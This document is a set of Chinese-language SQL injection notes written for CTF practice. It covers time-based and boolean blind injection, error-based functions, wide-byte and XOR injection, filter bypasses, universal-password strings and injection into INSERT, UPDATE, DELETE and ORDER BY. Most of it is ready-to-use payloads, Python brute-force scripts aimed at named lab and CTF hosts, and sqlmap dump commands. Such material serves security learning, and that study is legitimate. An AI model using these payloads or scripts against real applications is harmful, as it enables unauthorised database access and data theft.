参考
https://www.cdxy.me/?p=789 https://zhuanlan.zhihu.com/p/35245598 https://www.anquanke.com/post/id/104319 https://www.virtua1.cn/%E4%BB%8E%E4%B8%80%E9%81%93%E6%B3%A8%E5%85%A5%E9%A2%98%E7%9B%AE%E5%AD%A6%E4%B9%A0%E6%96%B0%E5%9E%8B%E5%BB%B6%E6%97%B6%E7%9B%B2%E6%B3%A8/
基础
回显 无回显 如果您希望按照降序对记录进行排序,可以使用 DESC 关键字。 SELECT Company, OrderNumber FROM Orders ORDER BY Company DESC 0x5b [ 0x5d ] 0x7e ~ 0x3a : database() 数据库 user() 比如root@localhost version() @@hostname (用户) @@datadir (数据库在文件的位置) @@version (版本) @@version_compile_OS (操作系统版本) information_schema.tables information_schema.columns information_schema.schemata union select concat group_concat
截取
substring
SUBSTRING ( expression, start, length )
start 从1开始
例如:/**/and extractvalue(2,concat(':',(select substring(content,30,10) from note ) )) and '
content是字段名
substr(expression, start, length)
start从1开始
substr('abcd' from 3 for 1) 支持from for的形式
返回c
substring_index(str,delim,count)
substring_index(被截取字段,关键词,关键词出现的次数)
select substring_index('aaabbbccc','a','2');
返回 a
select substring_index('aaabbbccc','b','2');
返回 aaab
select substring_index('aaabbbccc','b','-2')
返回bccc
mid()
MID(column_name,start[,length])
支持from for的语法
mid('abcd' from 3 for 1)
返回c
left(str,length) 从左边开始截取字符串
right(str,length) 从右边开始截取字符串
if
https://www.cnblogs.com/xuhaojun/p/9141396.html
mid
MID() 函数用于从文本字段中提取字符。
SELECT MID(column_name,start[,length]) FROM table_name;
column_name 必需。要提取字符的字段。
start 必需。规定开始位置(起始值是 1)。
length 可选。要返回的字符数。如果省略,则 MID() 函数返回剩余文本。
ascii() 返回ascii码
ord() 返回ascii码
if条件语句加整数溢出进行盲注
DNS外传数据查询(data exfiltration through DNS channel)
sql时间盲注
笛卡尔积 heavy query
原理如方法的名字:大负荷查询。即用到一些消耗资源的方式让数据库的查询时间尽量变长。而消耗数据库资源的最有效的方式就是让两个大表做笛卡尔积,这样就可以让数据库的查询慢下来而最后找到系统表information_schema数据量比较大,可以满足要求,所以我们让他们做笛卡尔积。
import requests
url = "http://1.2.3.4/index.php?id=1' and %s and (SELECT count(*) FROM information_schema.columns A, information_schema.columns B, information_schema.columns C)%%23"
data = ""
for i in range(1,1000):
for j in range(33,127):
payload = "(ascii(substr((select flag from flags limit 1),%s,1))=%s)" % (i, j)
payload_url = url%(payload)
try:
r = requests.get(url=payload_url,timeout=8)
except:
data +=chr(j)
print data
break
benchmark
有时候sleep被过滤,我们可以用benchmark(count,expr) benchmark()函数重复count次执行表达式expr。他可以被用于计算mysql处理表达式速度。结果值通常是0
select benchmark(10000000,sha(1)),也就是通过计算来延迟
GET_LOCK
sleep被过滤,也可以用这个函数 GET_LOCK(str,timeout) 设法使用字符串str给定的名字得到一个锁,超时为timeout秒
select GET_LOCK(‘a’,1) 利用范围不多,新会话开启并且保持长连接才行
RLIKE
通过rpad或repeat构造长字符串,加以计算量大的的pattern,通过repeat的参数可以控制延时长短
select concat(rpad(1,999999,‘a’),rpad(1,999999,‘a’),rpad(1,999999,‘a’),rpad(1,999999,‘a’),rpad(1,999999,‘a’),rpad(1,999999,‘a’),rpad(1,999999,‘a’),rpad(1,999999,‘a’),rpad(1,999999,‘a’),rpad(1,999999,‘a’),rpad(1,999999,‘a’),rpad(1,999999,‘a’),rpad(1,999999,‘a’),rpad(1,999999,‘a’)) RLIKE ‘(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+b’
例题
安恒周周练29 SLEEPCMS
sleep
例题
2019hgame-week3-sqli2
见2019hgamewp
?id='|| if(length(database())=8,sleep(5),0)%23
import requests
import string
dic='szexcuarity'
flag=''
for i in range(8):
for ii in dic:
url="http://127.0.0.1/sqli-labs-master/Less-1/?id='|| if(ascii(substring(database(),"+str(i+1)+",1))="+str(ord(ii))+",sleep(5),0)%23"
try:
requests.get(url,timeout=3)
print ii+"false"
except:
print ii
flag+=ii
break
print flag
import requests
import string
dic='mailrfgents,u'
flag=''
for i in range(15):
for ii in dic:
url="http://127.0.0.1/sqli-labs-master/Less-1/?id='|| if(ascii(substring((select group_concat(table_name) from information_schema.tables where table_schema=database()),"+str(i+1)+",1))="+str(ord(ii))+",sleep(5),0)%23"
try:
requests.get(url,timeout=3)
except:
print ii
flag+=ii
break
print flag
127.0.0.1' and (select case when (length(database())=x then sleep(10) else 1 end) and '1'='1 and ‘1’='1 select case when () then sleep(10) else 1 end ' + (select case when (substring((database()) from %d for 1)='%s') then sleep(5) else 1 end) and '1'='1 +和and (substring() from x for 1)
select case when条件触发
SQL CASE表达式是一种通用的条件表达式,类似于其他语句中的if/else语句 case when condition then result
select case when username=‘admin’ then ‘aaa’ else(sleep(3)) end from user;
爆数据库长度
import requests
url='http://ctf5.shiyanbar.com/web/wonderkun/index.php'
for i in range(10):
payload={"X-Forwarded-For":"127.0.0.1' and (select case when (length(database())="+str(i)+")then sleep(10) else 1 end) and '1'='1"}
try:
print i
a=requests.get(url,headers=payload,timeout=5)
except:
print i
break
print i
爆数据库名
key的第一个+,为什么不能是and
import requests
import string
url='http://ctf5.shiyanbar.com/web/wonderkun/index.php'
databaseName=''
str='wfatgebsdad125df4'+string.ascii_lowercase+string.digits
for i in range(1,5):
for payload in str:
key={'X-Forwarded-For':"' + (select case when (substring((database()) from %d for 1)='%s') then sleep(5) else 1 end) and '1'='1"%(i,payload)}
try:
print key
r=requests.get(url,headers=key,timeout=4)
except:
databaseName+=payload
print databaseName
break
print databaseName
---------------------------------------------------------
import requests
import string
url='http://ctf5.shiyanbar.com/web/wonderkun/index.php'
databaseName=''
str=string.ascii_lowercase+string.digits
for i in range(1,5):
for payload in str:
key={'X-Forwarded-For':"' + (select case when (substring((database()) from %d for 1)='%s') then sleep(5) else 1 end) and '1'='1"%(i,payload)}
try:
print key
r=requests.get(url,headers=key,timeout=4)
except:
databaseName+=payload
print databaseName
break
print databaseName
bool盲注
宽字节注入
先尝试单引号?id=1’ ?id=1%27,发现页面输出的
引号被转义了,在前面加了一个 \ 符号
尝试 如果构造 \ \ 那么后面的引号也就可以发挥作用了
构造:?id=1%df%27
报错
再构造:?id=1%df%df%23
查询又恢复正常了,因为%df%df 双字节构成了一个汉字,而%df%23又不成汉字所以得知此题存在宽字节注入
开始爆数据库:
?id=1%df%27 order by 2#
列数得知 2列。
爆库:
?id=-1%df%27 union select 1,database()%23
数据库:sae-chinalover
爆列表:
?id=-1%df%27 union select 1,group_concat(table_name) from information_schema.tables where table_schema=0x7361652d6368696e616c6f766572%23
爆出这些表:
ctf,ctf2,ctf3,ctf4,gbksqli,news
爆字段:
?id=-1%df%27 union select 1,group_concat(column_name) from information_schema.columns where table_name=0x63746634%23
字段:id flag
查询关键字:
?id=-1%df%27 union select 1,flag from ctf4%23
利用Sqlmap:
sqlmap -u "http://chinalover.sinaapp.com/SQL-GBK/index.php?id=1%df%27"
sqlmap -u "http://chinalover.sinaapp.com/SQL-GBK/index.php?id=1%df%27" --dbs
跑出库
sqlmap -u "http://chinalover.sinaapp.com/SQL-GBK/index.php?id=1%df%27" -D sae-chinalover --columns
跑字段:
sqlmap -u "http://chinalover.sinaapp.com/SQL-GBK/index.php?id=1%df%27" -D sae-chinalover -C flag --dump
跑出flag
例2:
靶机:安全实验室注入关3
http://lab1.xseclab.com/sqli4_9b5a929e00e122784e44eddf2b6aa1a0/index.php、
输入payload
?id=1%df%27 报错
?id=1%df%df%23 页面正常,存在宽字节注入
爆列数
?id=1%df%27 order by 3%23
?id=1%df%27 order by 4%23
发现只有三列:
爆数据库名:
?id=1%df%27 union select 1,2,database()%23
库名:mydbs
爆表名:
?id=1%df%27 union select 1,2,table_name from information_schema.tables where table_schema=mydbs%23
发现报错。。。可能有过滤
那么把mydbs转成16进制:0x6d79646273 (..字符转16进制即可,要转对,有个网址16进制换是转错的。。浪费我好多时间)
?id=1%df%27 union select 1,2,table_name from information_schema.tables where table_schema=0x6d79646273%23
得出表名:sae_user_sqli4
爆字段:
sae_user_sqli4 ->7361655f757365725f73716c6934
?id=1%df%27 union select 1,2,group_concat(column_name)from information_schema.columns where table_name=0x7361655f757365725f73716c6934%23
得出三个字段:id,title_1,content_1
爆关键字:
?id=1%df%27 union select 1,group_concat(id),group_concat(content_1) from sae_user_sqli4%23
得到flag
报错注入
报错函数
floor()
' union select 1,count(*),concat(0x3a,0x3a,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x3a,0x3a,floor(rand(0)*2))a from information_schema.columns group by a%23
' union select 1,count(*),concat(0x3a,0x3a,(select database()),0x3a,0x3a,floor(rand(0)*2))a from information_schema.columns group by a%23
extractvalue()
select * from users where username=' ' and extractvalue(1,concat(':', database() )) and ' '
database()被替换为
(select group_concat(table_name) from information_schema.tables where table_schema=database() )
updatexml()
1' and 1=(updatexml(1,concat(0x3a,(select database())),1)) and '
' and 1=(updatexml(1,concat(0x3a,(select database())),1)) and '
database()替换为
group_concat(table_name) from information_schema.tables where table_schema=database()
exp()
username=1&password=' and exp( ~(select * from ( select group_concat(value) from ffll44jj )x ) ) and '
' or exp(~(select * from(select database())x)) or'
database()被替换为
group_concat(table_name) from information_schema.tables where table_schema regexp database()
username=&password=' or exp(~(select * from(select group_concat(table_name) from information_schema.tables where table_schema regexp database())a)) or ' #利用这则表达式代替过滤的'='
username=&password=' or exp(~(select * from(select group_concat(table_name) from information_schema.tables where !(table_schema <> database()))a)) or ' #利用非非逆否命题绕过 '='
polygon()
multipoint()
multpolygon()
linestring()
multlinestring()
GeometryCollection()
例题
实验吧——加了料的报错注入(exp extractvalue报错注入)
爆数据库
username=' and extractvalue/*&password=*/(1,concat(':', database() )) and '
XPATH syntax error: ':error_based_hpf'
后台的查询语句就为
select * from users where username=' ' and extractvalue/*' and password='*/(1,concat(':', database() )) and ' '
去掉注释即为
select * from users where username=' ' and extractvalue(1,concat(':', database() )) and ' '
然后猜解表名,因为password屏蔽了=,所以用regexp
username=' and extractvalue/*&password=*/(1,concat(':', (select group_concat(table_name) from information_schema.tables where table_schema regexp database() ) )) and '
XPATH syntax error: ':ffll44jj,users'
猜解列名
username=' and extractvalue/*&password=*/(1,concat(':', (select group_concat(column_name) from information_schema.columns where table_name regexp 'ffll44jj' ) )) and '
XPATH syntax error: ':value'
猜解字段
username=' and extractvalue/*&password=*/(1,concat(':', (select group_concat(value) from ffll44jj ) )) and '
exp
username=1&password=' and exp( ~(select * from ( select group_concat(value) from ffll44jj )x ) ) and '
DOUBLE value is out of range in 'exp(~((select 'flag{err0r_b4sed_sqli_+_hpf}' from dual)))'
updatexml
1 and 1=(updatexml(1,concat(0x3a,(select user())),1))
1'/**/a<>nd/**/updatexml(1,co<>ncat(0x3a,(sel<>ect/**/user())),1)%23
1'/**/a<>nd/**/updatexml(1,concat(0x7e,(sel<>ect/**/table_name/**/from/**/info<>rmation_schema.tables/**/where/**/table_schema=database()/**/limit/**/0,1),0x7e),1)#
1'/**/a<>nd/**/updatexml(1,concat(0x7e,(sel<>ect/**/table_name/**/from/**/info<>rmation_schema.tables/**/where/**/table_schema=database()/**/limit/**/0,1)),1)#
1'/**/a<>nd/**/updatexml(1,concat(0x7e,(sel<>ect/**/group_concat(table_name)/**/from/**/info<>rmation_schema.tables/**/where/**/table_schema=database()),0x7e),1)#
1'/**/a<>nd/**/updatexml(1,concat(0x7e,(sel<>ect/**/group_concat(colucolumn_namemn_name)/**/from/**/info<>rmation_schema.colucolumnsmns/**/where/**/table_name='flag_0d9a'),0x7e),1)#
异或注入
原理
异或是一种逻辑运算,运算法则简言之就是:两个条件相同(同真或同假)即为假(0),两个条件不同即为真(1),null与任何条件做异或运算都为null,如果从数学的角度理解就是,空集与任何集合的交集都为空。
mysql里异或运算符为^ 或者 xor
两个同为真的条件做异或,结果为假
用处
可用于判断过滤
http://120.24.86.145:9004/1ndex.php?id=1'^(length('union')=5)%23
当union被过滤时1^0 输出id=1
当union没被过滤时 1 ^ 1 输出 id=0
回显 error
绕过
注释
;%00
#
-- +
双写
<> o<>r o<>rder info<>rmation_schema.tables
绕过=
regexp where table_schema regexp database() 非非逆否命题 where !(table_schema <> database())
select substring((select user()) from 1 for 1);
select substring((select user()) from -1);
select id,ip from client_ip where 1>2 union select * from ((select user())a join (select version())b);
绕过空格
/**/
/***/
()
%0a
绕过
双写关键词,过滤空格
?id=0/***/uniunionon/***/seleselectct/***/1,2,(selselectect/***/group_concat(table_name)/***/frfromom/***/information_schema.tables/***/where/***/table_
schema=database())%23 得到表名为: content
?id=0/***/uniunionon/***/seleselectct/***/1,2,(selselectect/***/group_concat(c
olumn_name)/***/frfromom/***/information_schema.columns/***/where/***/ta
ble_name=0x636f6e74656e74)%23 得到列名为:id,context,title
?id=0/***/uniunionon/***/seleselectct/***/1,2,context/***/frfromom/***/content
%23 得到flag
常规注入
联合查询注入 fuzz 看过滤了啥 没有过滤啥
1
1'
1'%23
1' order by 1%23
1' order by 2%23
1' order by 3%23
1' order by 4%23
' union select 1,2,3%23
' union select group_concat(schema_name),2,3 from information_schema.schemata%23
' union select group_concat(table_name),2 from information_schema.tables where table_schema=database()%23
' union select group_concat(column_name),2 from information_schema.columns where table_name='xiaohong'%23
' union select sign,2 from xiaohong%23
1 and 1=-1 union select 1,schema_name from information_schema.schemata
1 and 1=-1 union select 1,table_name from information_schema.tables
1 and 1=-1 union select 1,column_name from information_schema.columns
database()的地方替换
(select group_concat(table_name) from information_schema.tables where table_schema=database() )
group_concat(table_name) from information_schema.tables where table_schema regexp database()
SQL约束攻击
SQL语句对字符串处理的时候,字符串末尾的空格会被忽略
“test”和“test ”是一样的
insert语句中,SQL都会根据SQL都会根据varchar(n)来限制字符串的最大长度。也就是说,如果字符串长度大于“n”个字符的话,那么仅使用字符串前“n”个字符
思路:
1.在注册处,注册名使用 admin 1
2.insert插入到该数据库时,由于用户名过长,varchar()只会截取前面的字符串,即admin (admin加上好多空格)
3.由于SQL处理字符串时,末尾的空格会被删除,所以相当于注册并且修改了admin的账号密码
4.最后使用指定新的admin账号密码登录即可看到flag
sqli格式化字符串逃逸漏洞
万能密码
select * from admin where username=’’ and password=’’
admin’ or ‘1’='1
admin’#
select * from admin where username='admin'
‘+’
select * from admin where username=''+'' and password=''+''
0
select * from admin where username='0' and password='0'
Aaa’ = ’
\N
select \N from data;
所有数据都返回NULL
MD5
<!--
$password = $_GET['password'];
$sql = "SELECT * FROM users WHERE password = '".md5($password,true)."'";
$result=mysql_query($sql) or die('<pre>' . mysql_error() . '</pre>' );
$row1 = mysql_fetch_row($result);
var_dump($row1);
mysql_close($link);
-->
构造 ?password=ffifdyop
ffifdyop字符串的前几位是'or'6,拼接刚才的SQL语句构成
select * from 'admin' where password=''or6xxxxxx
129581926211651571912466741651878684928
是一样的效果
order by注入
逻辑运算符
1 | 1=1
2 | 3=3
2 & 3=2
^
>>
<<
order by 子句对查询返回的结果按一列或者多列排序,默认是升序
在不知道列名的情况下可以通过列的序号来指代相应的列。但是经过测试这里无法做运算,如order=3-1和order=2是不一样的
order by可以根据多列排序,因此注入的语句不一定限制与order by的第一个参数,也可以通过逗号去新的列进行注入
order by if(0,name,sleep(2))
select * from data order by id|2;
select * from data order by id&2;
select * from data order by id^2;
还可以使用union,不过要加括号
(select 1,2,3 order by 3 asc)union(select 2,3,4);
例题
过滤了报错注入的函数,=号
chall.tasteless.eu/level1/index.php?dir=|(select (select flag from level1_flag) regexp'^1')%2b1
chall.tasteless.eu/level1/index.php?dir=|(select (select flag from level1_flag) regexp'^7')%2b1
同上也可以
chall.tasteless.eu/level1/index.php?dir=3,)union(select flag from level1_flag)%23
insert、update、delete注入
insert into users(id,username,password) values(1,'user','passwd');
insert into users(id,username,password) values(2,'attacker' or updatexml(1,concat(0x7e,database()),0),'passwd');
update data1 set year=11 or updatexml(1,concat(0x7e,database()),0) where id=3;
update data1 set year=11 or sleep(3) where id=3;
无效果
update data1 set year=11 and sleep(3) where id=3;
延迟就可以盲注
delete from users where id=2;
delete from users where id=2 or updatexml(1,concat(0x7e,database()),0);
一个insert题目的小思路:
猜测后端逻辑 insert into(name,text) values ('','')
通过insert into(name,text) values ('\',',database())
insert into(name,text) values ('\',',select flag from flag)
desc相关
<?php
require('config.php');
$table = $_GET['table']?$_GET['table']:"test";
$table = Filter($table);
mysqli_query($mysqli,"desc `secret_{$table}`" or Hacker());
$sql = "select 'flag{xxx}' from secret_{$table}";
$ret = sql_query($sql);
echo $ret[0];
?>
``反引号作用是为了区分Mysql的保留字与普通字符而引入的符号
一般我们建表时候都会将表明或者库名加上反引号保证语句正常执行度
create database `user`;
如果不加反引号mysql会将user视为保留字而报错
desc `data` `id`;
select 1,2 from data` `union select 2,2;
根据上面的执行条件可以绕过desc语句
而ret[0]只打印数组的第一个值,可通过偏移 limit和offset
数据库计算是从0开始的
offset x 是跳过x个数据,limit Y是选取Y个数据
limit X,Y中表示跳过X个数据,读取Y个数据
paylaod:?table=test``union select database() limit 1,offset 1
|